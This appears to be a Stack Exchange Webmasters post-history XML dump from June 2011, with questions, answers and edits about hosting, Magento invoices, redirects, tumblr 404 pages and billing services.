  <row Id="36461" PostHistoryTypeId="2" PostId="15434" RevisionGUID="d57b85fd-a40c-4cef-ac55-f8f36e581738" CreationDate="2011-06-16T10:59:15.677" UserId="4759" Text="I would be reluctant to do it. I assume you're trying to optimize your conversions.&#xD;&#xA;&#xD;&#xA;Here's why:&#xD;&#xA;&#xD;&#xA; 1. You're breaking a well known UI pattern. It will cause confusion and unease to see something &quot;new&quot; like this.&#xD;&#xA; 2. If the field is a password field (i.e. masked characters) there will be a decent number of people that will type their password wrong, or will freak out as to whether they're typed their password correctly, and will spend more time carefully re-typing their password.&#xD;&#xA; 3. If the password field is a regular text box, you'll unnerve just about everyone. Pros will think your site is badly coded, and everyone else will worry that somehow someone will steal their password. The reason password fields are masked is to protect against others seeing a password on screen as it's being typed.&#xD;&#xA;&#xD;&#xA;There are many other things you can do to optimize conversions, but in my opinion, this isn't a pattern to break." />
  <row Id="36462" PostHistoryTypeId="2" PostId="15435" RevisionGUID="2e760d1a-dc9c-4d96-afbb-0bf0c3df24f9" CreationDate="2011-06-16T11:09:04.993" UserId="7198" Text="The following offer per-image pricing for around $5:&#xD;&#xA;&#xD;&#xA; - [Big&#xD;&#xA;   Stock](http://www.bigstockphoto.com/)  - buy single images or credits.&#xD;&#xA; - [Veer's Marketplace](http://marketplace.veer.com/) - encourages you to use credits, but you can buy one image only.&#xD;&#xA; - [Photos.com](http://www.photos.com/) - you have to purchase an 'image pack', but they offer packs for 1 photo only.&#xD;&#xA; - [Graphic&#xD;&#xA;   River](http://graphicriver.net/) - add $2 if you want to buy individual images without buying credit packs.&#xD;&#xA;" />
  <row Id="36463" PostHistoryTypeId="2" PostId="15436" RevisionGUID="47f91d5b-3840-468e-9589-38b104ac700d" CreationDate="2011-06-16T11:21:22.460" UserId="7198" Text="You could use a **dedicated recurring billing system** such as these ones:&#xD;&#xA;&#xD;&#xA; - [Sassy](http://saasy.com/)&#xD;&#xA; - [Recurly](http://recurly.com/)&#xD;&#xA; - [Spreedly](http://www.spreedly.com/)&#xD;&#xA; - [Chargify](http://chargify.com/)&#xD;&#xA; - [Braintree](http://www.braintreepayments.com/)&#xD;&#xA; - [CheddarGetter](https://cheddargetter.com/)&#xD;&#xA;&#xD;&#xA;Note that these don't handle provisioning like WHMCS does -- they are purely payment backends -- so you'd have to code the sign up and activation processes yourself, but custom coding those parts might be more appropriate if you need something more flexible anyway.&#xD;&#xA;" />
  <row Id="36464" PostHistoryTypeId="2" PostId="15437" RevisionGUID="3a4b3cc2-5cdf-4c79-afdc-c6f12059ad91" CreationDate="2011-06-16T11:30:50.023" UserId="8009" Text="When printing invoices (PDF) from Magento, the font is 7px... it's absolutely tiny, half my customers probably won't be able to read it, is there a way to make it 12+?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="36465" PostHistoryTypeId="1" PostId="15437" RevisionGUID="3a4b3cc2-5cdf-4c79-afdc-c6f12059ad91" CreationDate="2011-06-16T11:30:50.023" UserId="8009" Text="Magento Order Invoices - Text TINY, how do I enlarge it?" />
  <row Id="36466" PostHistoryTypeId="3" PostId="15437" RevisionGUID="3a4b3cc2-5cdf-4c79-afdc-c6f12059ad91" CreationDate="2011-06-16T11:30:50.023" UserId="8009" Text="&lt;magento&gt;" />
  <row Id="36467" PostHistoryTypeId="2" PostId="15438" RevisionGUID="ea57baee-1d38-4933-91c5-536722b3638d" CreationDate="2011-06-16T11:44:28.487" UserId="1643" Text="According to [this][1] entry on the magento message boards you need to edit these files:&#xD;&#xA;&#xD;&#xA;    /app/code/core/Mage/Sales/Model/Order/Pdf/Invoice.php &#xD;&#xA;    /app/code/core/Mage/Sales/Model/Order/Pdf/Abstract.php &#xD;&#xA;    /app/code/core/Mage/Sales/Model/Order/Pdf/Items/Abstract.php&#xD;&#xA;&#xD;&#xA;and change the second parameter, which is the font size, to the number you want on these methods:&#xD;&#xA;&#xD;&#xA;    _setFontRegular(), _setFontBold(), and _setFontItalic()&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.magentocommerce.com/boards/viewthread/31533/&#xD;&#xA;" />
  <row Id="36468" PostHistoryTypeId="2" PostId="15439" RevisionGUID="db04c963-87cb-4413-be12-7d13abc2b2aa" CreationDate="2011-06-16T12:05:48.650" UserId="8352" Text="I have written up a PHP script that sends form inputs to an email. However, the free webhost that I've tried could only send SMTP to a domain that you owned. I don't have one yet, and can only use subdomains, and can't send to emails like gmail.com&#xD;&#xA;&#xD;&#xA;Do you know of any free webhosts that let you send to gmail? It's just to test the script and see whether it works, and therefore it doesn't matter if there are ads or other stuff." />
  <row Id="36469" PostHistoryTypeId="1" PostId="15439" RevisionGUID="db04c963-87cb-4413-be12-7d13abc2b2aa" CreationDate="2011-06-16T12:05:48.650" UserId="8352" Text="Are there any free webhosts who offer SMTP to an email on a separate domain?" />
  <row Id="36470" PostHistoryTypeId="3" PostId="15439" RevisionGUID="db04c963-87cb-4413-be12-7d13abc2b2aa" CreationDate="2011-06-16T12:05:48.650" UserId="8352" Text="&lt;php&gt;&lt;web-hosting&gt;&lt;email&gt;&lt;free&gt;&lt;gmail&gt;" />
  <row Id="36471" PostHistoryTypeId="2" PostId="15440" RevisionGUID="891d9910-47fa-4c09-864f-3eae7da54f62" CreationDate="2011-06-16T12:17:27.597" UserId="7198" Text="If your question is, &quot;does having sharing buttons on your site result in more shares compared with having no sharing buttons&quot;, then I think the answer's likely to be a resounding &quot;yes!&quot;, purely from experience of adding social buttons to my own sites and to customers' sites; it has always increased shares, even on low-traffic sites.&#xD;&#xA;&#xD;&#xA;If you're still in any doubt, though, you could test it for yourself. The [AddThis](http://www.addthis.com) service has a [detailed analytics feature](http://www.addthis.com/help/analytics-overview) that gives you an overview of the numbers of shares and incoming traffic you're getting from each social network." />
  <row Id="36472" PostHistoryTypeId="25" PostId="15433" RevisionGUID="95bd74d8-061d-4331-8c5a-48e1cf645a18" CreationDate="2011-06-16T12:24:18.080" Comment="http://twitter.com/#!/StackWebmasters/status/81336292197138432" />
  <row Id="36473" PostHistoryTypeId="2" PostId="15441" RevisionGUID="1a8fecec-ce61-442a-8ffb-8dc9aeb5501b" CreationDate="2011-06-16T12:26:30.087" UserId="7198" Text="If you're just testing the script, you could simply set up a PHP environment on your own computer using [WAMP](http://www.wampserver.com/) (Windows) or [MAMP](http://www.mamp.info/) (Mac), then use your ISP's SMTP details or a Gmail account to send the email.&#xD;&#xA;" />
  <row Id="36477" PostHistoryTypeId="5" PostId="15428" RevisionGUID="23221833-4980-40e8-bc22-3854526dc6b6" CreationDate="2011-06-16T12:38:57.930" UserId="7198" Comment="deleted 3 characters in body" Text="You can create 301 redirects in tumblr using the 'Redirect' page type:&#xD;&#xA;&#xD;&#xA; 1. Click the settings cog in your tumblr Dashboard.&#xD;&#xA; 2. Click the 'Customize your blog' button.&#xD;&#xA; 2. Click the 'Pages' header.&#xD;&#xA; 3. Choose the 'Add a page' link.&#xD;&#xA; 4. Choose 'Redirect' from the 'Page Type' drop down.  &#xD;&#xA; 5. Put your old WordPress URL in the &quot;Page URL&quot; field.&#xD;&#xA; 6. Put the new tumblr URL in the &quot;Redirect to&quot; field.&#xD;&#xA; 7. Click the &quot;Create page&quot; button.&#xD;&#xA;&#xD;&#xA;![Redirecting a page in tumblr with a 301 header][1]&#xD;&#xA;&#xD;&#xA;Requests for the old WordPress page will now result in a 301 (moved permanently) redirect to the new tumblr page. Note that every page has to be redirected manually. There's no wildcard system to create rules to handle mass forwarding, unfortunately.&#xD;&#xA;&#xD;&#xA;There's also no dependable way to style 404 (not found) pages with tumblr's existing template code, so any pages you *don't* redirect will lead users to a dead end devoid of helpful suggestions or search boxes, like this one:&#xD;&#xA;&#xD;&#xA;![Tumblr's 404 page isn't very helpful][2]&#xD;&#xA;&#xD;&#xA;A possible workaround to improve usability and reduce bounce rate might be to edit your theme's template code and use jQuery to detect the title &quot;Not found&quot;, and inject a more helpful error message into the post body below. How you do this depends on the theme in question, but it might look something like this:&#xD;&#xA;&#xD;&#xA;**HTML**&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;text-post&quot;&gt;&#xD;&#xA;        &lt;h2&gt;Not Found&lt;/h2&gt;&#xD;&#xA;        &lt;p&gt;The URL you requested could not be found.&lt;/p&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;**jQuery**&#xD;&#xA;&#xD;&#xA;    var pageTitle = $('div.text-post h2').text();&#xD;&#xA;    if (pageTitle == &quot;Not Found&quot;){&#xD;&#xA;        $('div.text-post p').html('Your new helpful message goes here.')&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;[LIVE DEMO HERE.](http://jsfiddle.net/kRUxK/)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/N0c3C.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/MQvCw.jpg" />
  <row Id="36479" PostHistoryTypeId="10" PostId="15426" RevisionGUID="1fa8daa8-3de8-4df7-95eb-f96057fa0945" CreationDate="2011-06-16T12:56:56.460" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36483" PostHistoryTypeId="2" PostId="15444" RevisionGUID="3c2b48b3-991e-4cb1-a6b7-1b84d1d74e84" CreationDate="2011-06-16T13:08:10.137" UserId="1253" Text="It's not worth much today. Yahoo's popularity used to mean it had lots of links pointing to its pages and thus it was relevant for many topics and its directory pages would show up well in search results. Those days are long gone and the value those links carried went with it. For a directory link it's relatively valuable but overall its worth is not significant and almost certainly not worth the cost of buying that link." />
  <row Id="36484" PostHistoryTypeId="2" PostId="15445" RevisionGUID="940dc9c3-c9a7-4100-9222-a9fda0db66c8" CreationDate="2011-06-16T13:10:32.973" UserId="1253" Text="You could also use WAMP with [Mercury Mail][1]. It allows you to easily set up a SMTP server on your computer.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.pmail.com/overviews/ovw_mercury.htm" />
  <row Id="36485" PostHistoryTypeId="6" PostId="15439" RevisionGUID="ff44bfcc-c959-4d48-90b6-d082d9dc33d7" CreationDate="2011-06-16T13:22:36.697" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;email&gt;&lt;gmail&gt;" />
  <row Id="36486" PostHistoryTypeId="5" PostId="15400" RevisionGUID="fea3f4af-f809-4501-8601-082ac274ce09" CreationDate="2011-06-16T13:36:14.710" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Should I use HTML5 and/or CSS3 to build my website?](http://webmasters.stackexchange.com/questions/18/should-i-use-html5-and-or-css3-to-build-my-website)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I've been wondering if there are any serious downsides for switching a websites code to HTML5/CSS3 now (browser support, browser distribution in the user community) ? &#xD;&#xA;Would it be a better idea to hold on a little longer ?&#xD;&#xA;&#xD;&#xA;Thanks in advance for your replies" />
  <row Id="36487" PostHistoryTypeId="10" PostId="15400" RevisionGUID="85706a29-efee-4864-985f-829d7d4a41cb" CreationDate="2011-06-16T13:36:14.553" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:233,&quot;DisplayName&quot;:&quot;DisgruntledGoat&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="36488" PostHistoryTypeId="2" PostId="15446" RevisionGUID="a544232b-a703-4492-b0a4-e98bb9d1b3df" CreationDate="2011-06-16T14:17:29.593" UserId="2935" Text="Have a look at [Internet.bs][1], they offer private registration for free, and have a good history.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://internet.bs" />
  <row Id="36492" PostHistoryTypeId="2" PostId="15448" RevisionGUID="13b7a68e-d9fd-49be-b141-5b3042111192" CreationDate="2011-06-16T14:25:47.867" UserId="8357" Text="I have the following URL for affiliates:&#xD;&#xA;&#xD;&#xA;    http://www.mydomain.com/affiliates/partners/partnerName.do?url=http://www.mydomain.com/product/3&#xD;&#xA;&#xD;&#xA;The value of url will change all the time.&#xD;&#xA;&#xD;&#xA;For this, I have used a 302 redirect.  I chose to do this because http://www.mydomain.com/affiliates/partners/partnerName.do can be redirected to several pages (because the url parameter can equal anything) and not just one page.  I believe this is the correct thing to do, but someone from our marketing department told me not to use 302 redirects and to use a 301 redirect, because several SEO articles say 302 redirects are bad.  I just want to confirm that the 302 redirect is the proper redirect to use for this particular case." />
  <row Id="36493" PostHistoryTypeId="1" PostId="15448" RevisionGUID="13b7a68e-d9fd-49be-b141-5b3042111192" CreationDate="2011-06-16T14:25:47.867" UserId="8357" Text="301 vs 302 redirect for ?url=URL" />
  <row Id="36494" PostHistoryTypeId="3" PostId="15448" RevisionGUID="13b7a68e-d9fd-49be-b141-5b3042111192" CreationDate="2011-06-16T14:25:47.867" UserId="8357" Text="&lt;seo&gt;&lt;redirects&gt;" />
  <row Id="36495" PostHistoryTypeId="5" PostId="15376" RevisionGUID="e3753d8c-2051-4f77-9f8a-b521fb23d981" CreationDate="2011-06-16T14:28:38.520" UserId="2545" Comment="removed some data" Text="I suspect that my site is penalized by Google.&#xD;&#xA;&#xD;&#xA;Is there a way to check if it's true?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;Webmaster Tools don't show any messages. Sometimes there are warnings about inaccessible (404, Soft 404s) pages on the site that come and go, and couple of warnings about duplicate page titles (in online documentation for my software), though." />
  <row Id="36496" PostHistoryTypeId="2" PostId="15449" RevisionGUID="79b6de7b-9c64-479a-8df7-a107b99b0345" CreationDate="2011-06-16T14:29:11.877" UserId="1253" Text="302 redirects aren't bad for SEO as they are probably the most common redirect in use today. In fact, PHP's `header()` function sends the 302 HTTP response by default.&#xD;&#xA;&#xD;&#xA;[Here's what Matt Cutts had to say about 302 redirects][1]. Basically they are fine and Google will find and index those links properly. It looks like Google will show the original URL instead of or in addition to the redirected URL. Yahoo does the same and Bing will show the redirected URL. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mattcutts.com/blog/seo-advice-discussing-302-redirects/" />
  <row Id="36500" PostHistoryTypeId="2" PostId="15450" RevisionGUID="c9a80d84-e8ff-4ff5-9119-a4f75868783f" CreationDate="2011-06-16T14:37:38.317" UserId="2545" Text="Ok, I did read some other sites and I think I got the answer for my question.&#xD;&#xA;&#xD;&#xA;If someone else is interested, following links have helped me:&#xD;&#xA;&#xD;&#xA; - [How to Handle a Google Penalty][1] (contains good flowchart)&#xD;&#xA; - [10 Ways to Diagnose a Google Penalty][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlepenalty.com/how-to-handle-a-google-penalty/&#xD;&#xA;  [2]: http://googlepenalty.com/10-ways-to-diagnose-a-google-penalty/" />
  <row Id="36501" PostHistoryTypeId="5" PostId="15391" RevisionGUID="3c6ca7e0-ede2-43a8-afb8-da619df8539c" CreationDate="2011-06-16T14:59:35.747" UserId="8334" Comment="added 2 characters in body" Text="Google and other search engines look at the HTTP status code that gets returned with any request. The most commonly known ones are '404' for page not found, '403' for access denied, or '301' for content that has permanently moved.&#xD;&#xA;&#xD;&#xA;There is a HTTP status for 'content gone', it's 410. This is often used if content has been removed permanently with no new address.&#xD;&#xA;&#xD;&#xA;Your best bet is to set your domain's DNS to some server somewhere, and configure Apache to return '410' for every request. You could do that by enabling mod_rewrite and sticking this rule in your .htaccess file:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule (.*) - [G,R=410]&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36502" PostHistoryTypeId="25" PostId="15448" RevisionGUID="050effa4-8684-48d2-ad41-5c5f244356ee" CreationDate="2011-06-16T15:24:19.217" Comment="http://twitter.com/#!/StackWebmasters/status/81381593666691072" />
  <row Id="36509" PostHistoryTypeId="17" PostId="15452" RevisionGUID="156771af-e8b0-4a24-880b-03caea084dd4" CreationDate="2011-06-16T17:31:11.010" UserId="-1" Comment="from http://stackoverflow.com/questions/6375983/how-do-you-define-a-project-for-a-web-developer" Text="" />
  <row Id="36510" PostHistoryTypeId="17" PostId="15453" RevisionGUID="96364cef-6588-41fc-8671-eae8beed3694" CreationDate="2011-06-16T17:31:11.010" UserId="-1" Comment="from http://stackoverflow.com/questions/6375983/how-do-you-define-a-project-for-a-web-developer" Text="" />
  <row Id="36511" PostHistoryTypeId="2" PostId="15453" RevisionGUID="8c3607a8-8155-4483-b53e-4103a13391cf" CreationDate="2011-06-16T17:24:50.147" UserDisplayName="John Strickler" Text="Just tell us what you want, don't try and use technology buzz words that you don't actually know about.  I see too many requirements that say they want an HTML5/CSS3 application when they truly don't know what that means... &#xD;&#xA;&#xD;&#xA;Let the web developer translate your business needs into his/her technical requirements." />
  <row Id="36512" PostHistoryTypeId="2" PostId="15452" RevisionGUID="7fe1619b-f915-4d7d-96de-a24465da2234" CreationDate="2011-06-16T17:21:46.003" UserDisplayName="levi" Text="Say I have a comprehensive web app I want developed through a freelancer on Odesk.com&#xD;&#xA;&#xD;&#xA;What is the best way to effectively describe the entire project, goals and requirements?&#xD;&#xA;&#xD;&#xA;Any examples on this would be greatly appreciated." />
  <row Id="36513" PostHistoryTypeId="1" PostId="15452" RevisionGUID="7fe1619b-f915-4d7d-96de-a24465da2234" CreationDate="2011-06-16T17:21:46.003" UserDisplayName="levi" Text="How do you define a project for a web developer," />
  <row Id="36514" PostHistoryTypeId="3" PostId="15452" RevisionGUID="7fe1619b-f915-4d7d-96de-a24465da2234" CreationDate="2011-06-16T17:21:46.003" UserDisplayName="levi" Text="&lt;web-development&gt;" />
  <row Id="36515" PostHistoryTypeId="4" PostId="15452" RevisionGUID="e3c4e3e2-41e1-4519-9972-89c30cd39361" CreationDate="2011-06-16T17:33:13.927" UserId="1253" Comment="Corrected title puncuation" Text="How do you define a project for a web developer?" />
  <row Id="36516" PostHistoryTypeId="2" PostId="15454" RevisionGUID="d382fc4d-5ca0-4178-9f60-fd3f2f05066a" CreationDate="2011-06-16T17:41:13.083" UserId="8360" Text="I am a `student`, and I am developing an asp.net website for my collage project, so are there any webhosts who allow me to host my web site for `no cost`? " />
  <row Id="36517" PostHistoryTypeId="1" PostId="15454" RevisionGUID="d382fc4d-5ca0-4178-9f60-fd3f2f05066a" CreationDate="2011-06-16T17:41:13.083" UserId="8360" Text="Are there any free who allow me to host my collage project web site to make it online?" />
  <row Id="36518" PostHistoryTypeId="3" PostId="15454" RevisionGUID="d382fc4d-5ca0-4178-9f60-fd3f2f05066a" CreationDate="2011-06-16T17:41:13.083" UserId="8360" Text="&lt;web-development&gt;&lt;web-hosting&gt;&lt;asp.net&gt;" />
  <row Id="36519" PostHistoryTypeId="5" PostId="15454" RevisionGUID="ce2eeae8-87ba-4474-96e7-75bf2b0bcda5" CreationDate="2011-06-16T17:42:34.140" UserId="1253" Comment="modified tags" Text="I am a student, and I am developing an asp.net website for my collage project. Are there any webhosts who allow me to host my web site for no cost? " />
  <row Id="36520" PostHistoryTypeId="6" PostId="15454" RevisionGUID="ce2eeae8-87ba-4474-96e7-75bf2b0bcda5" CreationDate="2011-06-16T17:42:34.140" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;asp.net&gt;&lt;looking-for-hosting&gt;" />
  <row Id="36521" PostHistoryTypeId="4" PostId="15454" RevisionGUID="543c907a-d3de-4cb0-88ba-012dbb6ef8cd" CreationDate="2011-06-16T17:43:26.263" UserId="8360" Comment="edited title" Text="Are there any free webhosts  who allow me to host my collage project web site to make it online?" />
  <row Id="36522" PostHistoryTypeId="7" PostId="15454" RevisionGUID="507b8a10-e1a8-4207-bd83-936bfaf9165a" CreationDate="2011-06-16T17:44:05.453" UserId="8360" Comment="Rollback to [ce2eeae8-87ba-4474-96e7-75bf2b0bcda5]" Text="Are there any free who allow me to host my collage project web site to make it online?" />
  <row Id="36523" PostHistoryTypeId="2" PostId="15455" RevisionGUID="4326b0df-9c30-4361-83f9-a4549c273246" CreationDate="2011-06-16T17:44:09.130" UserId="1253" Text="A [quick Google search][1] show lots of hosts who claim to offer free .net hosting.&#xD;&#xA;&#xD;&#xA;You could also host it yourself and use a dynamic DNS provider like [Zoneedit][2] to handle the DNS for you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/webhp?sourceid=chrome-instant&amp;ie=UTF-8&amp;ion=1&amp;nord=1#sclient=psy&amp;hl=en&amp;safe=off&amp;nord=1&amp;site=webhp&amp;source=hp&amp;q=free%20.nethosting&amp;aq=0l&amp;aqi=g-l4g-lm1&amp;aql=&amp;oq=&amp;pbx=1&amp;fp=f72692c3f34d480a&amp;ion=1&amp;ion=1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=f72692c3f34d480a&amp;ion=1&amp;biw=1241&amp;bih=885&#xD;&#xA;  [2]: http://www.zoneedit.com/" />
  <row Id="36524" PostHistoryTypeId="4" PostId="15454" RevisionGUID="af8cd707-428d-4d57-902f-e320911ee60c" CreationDate="2011-06-16T17:44:48.977" UserId="8360" Comment="edited title" Text="Are there any free webhosts who allow me to host my collage project web site to make it online?" />
  <row Id="36525" PostHistoryTypeId="7" PostId="15454" RevisionGUID="47841537-2210-403c-b119-c9a48df2d1ac" CreationDate="2011-06-16T17:46:08.430" UserId="8360" Comment="Rollback to [ce2eeae8-87ba-4474-96e7-75bf2b0bcda5]" Text="Are there any free who allow me to host my collage project web site to make it online?" />
  <row Id="36526" PostHistoryTypeId="4" PostId="15454" RevisionGUID="729ede15-8301-4093-ab2f-7aaed8292f3e" CreationDate="2011-06-16T17:47:31.267" UserId="8360" Comment="edited title" Text="Are there any free webhosts who allow me to host my collage project web site to make it online?" />
  <row Id="36531" PostHistoryTypeId="25" PostId="15439" RevisionGUID="a98e486f-b7b7-4b83-bddb-8643cc65d132" CreationDate="2011-06-16T18:24:20.540" Comment="http://twitter.com/#!/StackWebmasters/status/81426898718167040" />
  <row Id="36532" PostHistoryTypeId="2" PostId="15458" RevisionGUID="21285225-59e1-4171-884e-5b807e5e6355" CreationDate="2011-06-16T18:29:57.017" UserId="4759" Text="This is the wrong strategy. Also, headers are trivial to spoof.&#xD;&#xA;&#xD;&#xA;Honestly, anti-crawler protections are very fragile and generally unwise. You may end up blocking legitimate users (who'll be annoyed), or your code might end up being forgotten about, become stale, and block crawlers you want to allow.&#xD;&#xA;&#xD;&#xA;You can verify whether a bot belongs to Google, however - advice here: http://www.google.com/support/webmasters/bin/answer.py?answer=80553&#xD;&#xA;&#xD;&#xA;I'm not sure if the same is possible with other crawlers. Frankly, this isn't a strategy I'd employ.&#xD;&#xA;&#xD;&#xA;(PS you need to work on your accept rate!)&#xD;&#xA;" />
  <row Id="36533" PostHistoryTypeId="2" PostId="15459" RevisionGUID="21afa4b2-cac6-4c5c-8a2c-91d5794b0625" CreationDate="2011-06-16T19:36:51.527" UserId="7575" Text="Here how i used to do it back in college. I used http://co.cc for domain name and http://freehostia.com for hosting.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="36535" PostHistoryTypeId="5" PostId="15454" RevisionGUID="5e54688f-5103-4d79-bb36-22aaeb71ba47" CreationDate="2011-06-16T21:25:07.230" UserId="288" Comment="corrected spelling in title" Text="I am a student, and I am developing an asp.net website for my college project. I'd like to put it online for everyone to see. Are there any webhosts who allow me to host my web site for no cost? " />
  <row Id="36536" PostHistoryTypeId="4" PostId="15454" RevisionGUID="5e54688f-5103-4d79-bb36-22aaeb71ba47" CreationDate="2011-06-16T21:25:07.230" UserId="288" Comment="corrected spelling in title" Text="Are there any free webhosts who allow me to host my college project web site to make it online?" />
  <row Id="36537" PostHistoryTypeId="24" PostId="15454" RevisionGUID="5e54688f-5103-4d79-bb36-22aaeb71ba47" CreationDate="2011-06-16T21:25:07.230" Comment="Proposed by 288 approved by -1 edit id of 401" />
  <row Id="36538" PostHistoryTypeId="5" PostId="15454" RevisionGUID="6c2bb536-3c42-4c4e-ada2-a3a487004563" CreationDate="2011-06-16T21:25:08.340" UserId="7198" Comment="Simplified title, improved grammar" Text="I am a student developing an asp.net website for my college project. I'd like to put it online for everyone to see. Are there any webhosts who allow me to host my web site for no cost? " />
  <row Id="36539" PostHistoryTypeId="4" PostId="15454" RevisionGUID="6c2bb536-3c42-4c4e-ada2-a3a487004563" CreationDate="2011-06-16T21:25:08.340" UserId="7198" Comment="Simplified title, improved grammar" Text="Free asp.net hosting for my college project" />
  <row Id="36540" PostHistoryTypeId="17" PostId="15460" RevisionGUID="4a62b4ac-be45-4569-ba03-a419af62c664" CreationDate="2011-06-16T22:01:03.983" UserId="-1" Comment="from http://stackoverflow.com/questions/6369231/paypal-parallel-payments-implemenatation-in-magento" Text="" />
  <row Id="36541" PostHistoryTypeId="17" PostId="15461" RevisionGUID="c859978d-61f3-44f7-975b-7d45a0965c8b" CreationDate="2011-06-16T22:01:03.983" UserId="-1" Comment="from http://stackoverflow.com/questions/6369231/paypal-parallel-payments-implemenatation-in-magento" Text="" />
  <row Id="36542" PostHistoryTypeId="2" PostId="15461" RevisionGUID="04ea5867-c307-4263-890e-c455616bd34b" CreationDate="2011-06-16T14:36:33.020" UserId="8082" Text="No. This is not currently implemented in Magento as far as I know.&#xD;&#xA;You may want to follow this up on the Magento community boards." />
  <row Id="36543" PostHistoryTypeId="2" PostId="15460" RevisionGUID="535ec53d-ae7b-4d03-ad86-03204596170f" CreationDate="2011-06-16T08:46:57.003" UserDisplayName="user232772" Text="I want to integrate Paypal parallel payments(Split payments) in Magento. &#xD;&#xA;&#xD;&#xA; Is this possible through Magento's admin interface without working on the code? Are there any extensions available for this? &#xD;&#xA;&#xD;&#xA;I have already found this link which is pretty helpful for implementing Parallel payments in PHP. This link will give you an idea about parallel payments as well. &#xD;&#xA;&#xD;&#xA; https://www.x.com/blogs/easypaypalwithphp/2010/01/26/exploring-parallel-payments-with-php-with-a-sample-application&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Adheesh" />
  <row Id="36544" PostHistoryTypeId="1" PostId="15460" RevisionGUID="535ec53d-ae7b-4d03-ad86-03204596170f" CreationDate="2011-06-16T08:46:57.003" UserDisplayName="user232772" Text="Paypal parallel payments implemenatation in Magento" />
  <row Id="36545" PostHistoryTypeId="3" PostId="15460" RevisionGUID="535ec53d-ae7b-4d03-ad86-03204596170f" CreationDate="2011-06-16T08:46:57.003" UserDisplayName="user232772" Text="&lt;magento&gt;&lt;paypal&gt;" />
  <row Id="36546" PostHistoryTypeId="5" PostId="15458" RevisionGUID="a81b8870-d40f-4298-adde-4c027483c3c2" CreationDate="2011-06-16T22:07:57.823" UserId="288" Comment="remove accept rate nagging" Text="This is the wrong strategy. Also, headers are trivial to spoof.&#xD;&#xA;&#xD;&#xA;Honestly, anti-crawler protections are very fragile and generally unwise. You may end up blocking legitimate users (who'll be annoyed), or your code might end up being forgotten about, become stale, and block crawlers you want to allow.&#xD;&#xA;&#xD;&#xA;You can verify whether a bot belongs to Google, however - advice here: http://www.google.com/support/webmasters/bin/answer.py?answer=80553&#xD;&#xA;&#xD;&#xA;I'm not sure if the same is possible with other crawlers. Frankly, this isn't a strategy I'd employ.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="36547" PostHistoryTypeId="24" PostId="15458" RevisionGUID="a81b8870-d40f-4298-adde-4c027483c3c2" CreationDate="2011-06-16T22:07:57.823" Comment="Proposed by 288 approved by 1064 edit id of 400" />
  <row Id="36548" PostHistoryTypeId="2" PostId="15462" RevisionGUID="591021ac-8bd4-4b4a-a059-4949981392c4" CreationDate="2011-06-16T23:00:21.473" UserId="8070" Text="I've read on some blogs that Tumblr blogs have terrible SEO generally, in part because when people reblog your posts, it generates duplicate content on other sites, [which Google doesn't like][1].  According to [*Tumblr’s Biggest Strength is its Biggest Weakness to Google*][2] on Soshable: &#xD;&#xA;&#xD;&#xA;&gt; Somewhere along the lines, Google and&#xD;&#xA;&gt; the other search engines realized that&#xD;&#xA;&gt; it would be not only possible but&#xD;&#xA;&gt; encouraged by Tumblr and other people [to]&#xD;&#xA;&gt; duplicate content and generate&#xD;&#xA;&gt; backlinks. As a result, it takes a lot&#xD;&#xA;&gt; more effort to get the search engines’&#xD;&#xA;&gt; attention for stronger rankings.&#xD;&#xA;&#xD;&#xA;Having Tumblr blogs that have terrible SEO doesn't appear to be unique to you.  You can read about how someone else's story on [*Tumblr, SEO, and Why I Moved To WordPress*][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66359&#xD;&#xA;  [2]: http://soshable.com/tumblrs-biggest-strength-is-its-biggest-weakness-to-google/&#xD;&#xA;  [3]: http://danzambonini.com/tumblr-seo-and-why-i-moved-to-wordpress/" />
  <row Id="36549" PostHistoryTypeId="2" PostId="15463" RevisionGUID="0cef26b1-5d99-4df4-8353-c8f41f933860" CreationDate="2011-06-16T23:03:00.577" UserId="8317" Text="Lots of web design companies offer a year free hosting service when purchasing a website. How do they offer this service? Do these companies use their own server to host sites or do they buy a years hosting from somewhere and use that?&#xD;&#xA;&#xD;&#xA;I understand that not all companies would use the same method, but in general, how would it be done?&#xD;&#xA;&#xD;&#xA;Thanks for any answers :)" />
  <row Id="36550" PostHistoryTypeId="1" PostId="15463" RevisionGUID="0cef26b1-5d99-4df4-8353-c8f41f933860" CreationDate="2011-06-16T23:03:00.577" UserId="8317" Text="How could a web developer go about offering free hosting to clients that buy a website?" />
  <row Id="36551" PostHistoryTypeId="3" PostId="15463" RevisionGUID="0cef26b1-5d99-4df4-8353-c8f41f933860" CreationDate="2011-06-16T23:03:00.577" UserId="8317" Text="&lt;web-hosting&gt;&lt;server&gt;&lt;website-development&gt;" />
